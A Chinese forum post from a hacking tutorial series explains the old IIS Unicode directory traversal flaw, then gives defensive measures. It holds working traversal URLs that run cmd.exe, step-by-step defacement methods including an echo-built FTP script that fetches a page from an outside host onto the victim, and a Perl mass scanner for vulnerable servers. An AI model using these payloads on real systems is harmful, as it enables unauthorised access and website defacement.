设为首页 收藏本站
查看: 977|回复: 0

[经验分享] [第16天]IIS UNICODE 编码漏洞

[复制链接]

尚未签到

发表于 2018-12-11 07:29:27 | 显示全部楼层 |阅读模式
前2天一直在讲网络监听,虽然我觉得很有必要,但好多人都发来消息说没什么太多兴趣。虽然还是很想讲这个,但因为大家有意见,就不说。经过快半个月的学习,我想如果你很认真的在看的话的,我想你的基本功已经很好了.今天开始我会开始由一些详细的***或其他的方法开始说了,有些地方我就不详细说明了,如果有问题可以发贴来问  回到话题,unicode 漏洞是最容易让***者得手的一个漏洞,可以不费吹灰之力将主页改掉,重则删除
  硬盘上的数据,高手甚至获取administrator 权限!
  漏洞自大前年年10 月份公布至今,居然国内还有这么多的服务器存在着该漏洞
  下面我从一般的***手法分析如何做相应的防护对策.
  (一)unicode 漏洞的原理
  有关漏洞的原理网上已经有很多相关的文章了,我不打算详细说,还是简单的来了解了解
  好了!
  实际上就是UNICODE 编码存在BUG,在UNICODE 编码中
  %c1%1c -〉(0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
  %c0%2f -〉(0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
  在NT4 中/编码为%c1%9c .在英文版里:WIN2000 英文版%c0%af
  该漏洞是利用扩展UNICODE 字符取代"/"和"\"而能利用"../"目录遍历,故在一台有
  unicode 漏洞的服务器ip 后边加上/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\就可
  以看到主机上c 盘的所有文件及目录.
  (二)unicode 漏洞的危害
  未经授权的用户可能利用IUSR_machinename 账号的上下文空间访问任何已知的文件。
  该账号在默认情况下属于Everyone 和Users 组的成员,因此任何与Web 根目录在同一逻辑
  驱动器上的能被这些用户组访问的文件都能被删除,修改或执行,就如同一个用户成功登陆
  所能完成的一样。
  以上部分内容摘自绿盟!
  (三)unicode 漏洞的***手法
  1、利用漏洞修改主页
  这可能是新手们最兴奋的事情了!每当他们成功地黑掉一个网页后都有一股极大的满足
  感.然而黑网页也是最简单的事情。
  手段描述一:***者先用扫描工具扫到有漏洞的主机后,在IE 的地址栏里输入http://主机
  的ip/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\就可以看到主机上c 盘的所有文件
  了.要查主页放在什么地方的话,可以将后边的dir+c:\换成set ,从返回的错误信息中找到
  PATH_TRANSLATED=c:\inetpub\wwwroot 这一句(具体的路径根据具体的情况而定).其中的
  c:\inetpub\wwwroot 就是主页所在的地方!接着***者为了避免系统对特殊字符的检测,故将
  本地机器的CMD.EXE 程序复制到主机的c:\inetpub\scripts 目录中,这样干起活来就容易多了!
  他们查到主页的名字后,就可以利用echo 命令来写入信息,将内容覆盖掉主页文件就把主页
  给黑了。
  手段描述二:除了上面的土方法外,***者可以将有声有色的黑页替换主页,这样黑得不是
  更爽吗?来看看他们是如何做到的。
  先在本地硬盘建立个共享文件夹(如gale),把黑页复制进去。照样把cmd.exe 拷贝到目标
  的c:\inetpub\scripts 下,名字为gale.exe,映射本地的gale 目录为目标的一个盘(如q:)
  把q:里的复制到目标主机的网页目录去。覆盖对方的网页文件,最后断开映射就可以了.
  这是利用本地共享目录和映射硬盘的方法替换黑页,如果黑页有背景又有音乐,文件很大,上
  传费事,怎么完美一点呢?请看下边。
  手段描述三:这种方法也是红客们黑美国、日本的时候最常用的手法。
  ***者先申请一个免费空间,把做好的黑页上传上去,然后利用echo 命令在目标主机
  上建立一个文本文件,写上几行命令,如下:
  目标主机ip/scripts/gale.exe?/c+echo+open+你黑页所在的免费空间ip>文本文件名.txt
  目标主机ip/gale.exe?/c+echo+你在黑页空间上的帐户>>文本文件名.txt
  目标主机ip/gale.exe?/c+echo+密码>>文本文件名.txt
  目标主机ip/gale.exe?/c+echo+get+index.htm>>文本文件名.txt
  目标主机ip/gale.exe?/c+echo+bye>>文本文件名.txt
  目标主机ip/gale.exe?/c+ftp+-s:文本文件名.txt
  这样***者就可以将黑页从另外一个空间下载到目标主机上,copy 过去覆盖就可以了。
  这样***者不受地方的限制,随便什么地方了,比如网吧。
  (四)unicode 漏洞的防护措施
  说了那么多,现在该转入正题了,下面我来说说防范的措施,这也是从***中总结出来
  的一些措施,希望对大家有帮助。
  1、打上最新补丁
  作为一个网络管理员,为了服务器的安全,需要不停的打上最新补丁,这是比较有效的
  方法。但你要记住:在网络上,没有绝对的安全的,道高一尺,魔高一丈,完全相信防火墙和系
  统补丁往往是很愚蠢的。
  2、冷酷到底,拒人于千里之外
  相信到现在还利用unicode 漏洞***的人都是些新手傻瓜们!他们没有确定的***目标,
  只是抓个扫描器来乱扫一通,扫到就黑,扫不到就哭的那种。对付扫描器扫出未知的漏洞,
  这是管理员的聪明之处。如何躲过扫描器的眼睛呢?请先看看下面一个用perl 写的扫描器代
  码吧:
  #!/usr/bin/perl
  #Root Shell Hackers
  #piffy
  #this is a quick scanner i threw together while supposedly doing homework in my room.
  #it will go through a list of sites and check if it gives a directory listing for the new IIS hole
  #it checks for both %c0%af and %c1%9c (其他版本的请修改这样的字符)
  #perhaps a public script to do some evil stuff with this exploit later... h0h0h0
  #werd: all of rsh, 0x7f, hackweiser, rain forest puppy for researching the hole =]
  use strict;
  use LWP::UserAgent;
  use HTTP::Request;
  use HTTP::Response;
  my $def = new LWP::UserAgent;
  my @host;
  print "root shell hackers\n";
  print "iis cmd hole scanner\n";
  print "coded by piffy\n";
  print "\nWhat file contains the hosts: ";
  chop (my $hosts=);
  open(IN, $hosts) || die "\nCould not open $hosts: $!";
  while ()
  {
  $host[$a] = $_;
  chomp $host[$a];
  $a++;
  $b++;
  }
  close(IN);
  $a = 0;
  print "ph34r, scan started";
  while ($a < $b)
  {
  my $url="http://$host[$a]/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ ";
  my $request = new HTTP::Request('GET', $url);
  my $response = $def->request($request);
  if ($response->is_success) {
  print $response->content;
  open(OUT, ">>scaniis.log");
  print OUT "\n$host[$a] : $response->content";
  -close OUT;
  } else {
  print $response->error_as_HTML;
  }
  &second()
  }
  sub second() {
  my $url2="http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ ";
  my $request = new HTTP::Request('GET', $url2);
  my $response = $def->request($request);
  if ($response->is_success) {
  print $response->content;
  open(OUT, ">>scaniis.log");
  print OUT "\n$host[$a] : $response->content";
  -close OUT;
  } else {
  print $response->error_as_HTML;
  }
  $a++;
  }
  代码摘自绿盟。
  不知道大家注意到上面长长的两行$url 和$url2 了没有,其实只是简单的字符串处理而
  已。于是有以下几种方法避过扫描器的扫描:
  ①更改winnt 目录名
  安装winnt 或者win2000 时,缺省目录是c:\winnt.可以把这个目录名改成别的目录名,
  这样扫描器递交"http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\"类似的
  url 时就会返回"找不到该页"的信息。这样大部分扫描器就成失灵了。(不知道小榕的流光能
  不能躲得过,但大部分的用perl 写的扫描器经这样改了之后都不起作用了)。
  安装前就可以这样,但是已经安装了,确实不想改winnt/2000 的目录怎么办呢?那好,可以
  看看下边的:
  ②更改cmd.exe 和各常用命令的名称
  更改cmd.exe 的名称也可以达到同样的效果,而且更加可*,假如你只更改winnt/win2000
  所在的目录名的话,别人猜对后仍然可以黑掉你。同时把一些不常用的而且有危害的命令改
  成只有你知道的名字,①和②结合的话更完美!
  ③改变web 目录位置
  通常主页所在的位置是在C:\InetPub\wwwroot 里。在c:\inetpub 里有scripts 之类的目录。
  如果你不需要他们的话,你可以把web 目录转移到别的分区,比如e:\netroot 然后把C:\inetpub
  整个删除掉.日本有一台主机就做的比较好,它的机器明明存在有unicode 漏洞,但将web 目录
  转移到d 盘,并且d 盘是不可写的,有位新手在QQ 上向我抱怨说:"老大!你说的方法不行呀,
  我黑不了!呜呜呜~~",哈!象这样,一般的人就难以修改主页了,(注意:这只能防止一般的人,高
  手只要动动脑筋,照样能黑掉!).
  ④停止不必要的服务
  在internet 服务器中,为了系统的安全,您必须停掉所有的缺省web 目录的服务。然后统统
  删掉,只保留你所要的,以免招来后患.
  ⑤改变服务的端口号
  在保证不影响访问率的情况下,我们可以把web 服务的端口由80 改成别的,比如108。
  因为很多还是利用unicode 漏洞***的人一般都是新手,他们都是拿一个扫描工具扫一个ip
  段的,这样做就可以躲避那种扫描一段网段的***者的扫描了。(注意:此方法只能防止这种方
  式的扫描,别有用心的***者照样可以通过修改扫描器的插件来实行扫描的.但受***的可能
  性已经减低.)
  3、限制iusr_server 的权限
  上面所说的措施是把***者拒绝于门外,如果真的很不幸,给***者找到门上来了,那
  不是死定了?不一定!***者利用UNICODE 漏洞遍历目录时的用户权限是决定于
  iusr_server 的权限的,而通常iusr_server 是属于guest 组的。我们只要进一步限制iusr_server
  的权限还有可能挽回(对于高手们就不一定这么说了)。
  建议如下:采用NTFS 格式的文件系统,将web 目录外所有的访问权限设置为:用户
  iusr_server 不可访问!注意:不要给iusr_server 对web 目录有写权限!理由是什么大家都很
  清楚!你的主页就是给这样的家伙给黑的,如果他没有写的权限,就象那台日本的主机一样,
  一般的新手们就难以下手了。(但是,那些确实是非写不可的地方,如:聊天室或论坛,是
  可以适当放开的)。
  4、偷吃成功,寻找蛛丝马迹
  这就是分析访问日志,一名合格的管理员,应该有经常查看日志的好习惯.日志是非常的
  多的,看起来很麻烦,但对于unicode 漏洞的***,只要查看分析web 服务的访问日志就可以
  了。扫描器的扫描和已经***完了的动作都会被记录下来,要注意特别留意出现的"cmd.exe"
  字眼。
  最后,我建议:
  ①管理好你的admin 帐户和密码
  因为现在的***新手们虽然是冲着unicode 漏洞而来,但他们的师父们往往推荐他们用小
  榕的流光,这是一个强大的漏洞扫描工具.在扫描的过程中,脆弱的管理员帐户和密码(如:帐
  户:admin 密码:1234)很容易被猜中,给他们带来了以外的收获.无论怎么强大,流光也是*黑
  客字典来暴力破解的,只要你密码复杂就可以避免猜中.长度最好超过8 位,大小写和复杂字符
  同时出现,如:g&A$l#e7 这样的密码就很难被猜中,当然,也许我这是废话。现在出现弱口令的机会是不多了
  ②经常更改管理员的密码
  保证只有你自己一个用户出现在管理员组,经常检查有没有可疑的用户。一般的新手都是
  学着别人教的招数,在管理员组里增加一个用户,留作后门.从***的角度来说,这是很危险的
  做法,但作为管理员不可能没有发现的,(那要看管理员的素质如何了)。


运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-649901-1-1.html 上篇帖子: IIS使用ODBC记录日志 下篇帖子: 『第28天』深入对iis写权限的利用
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表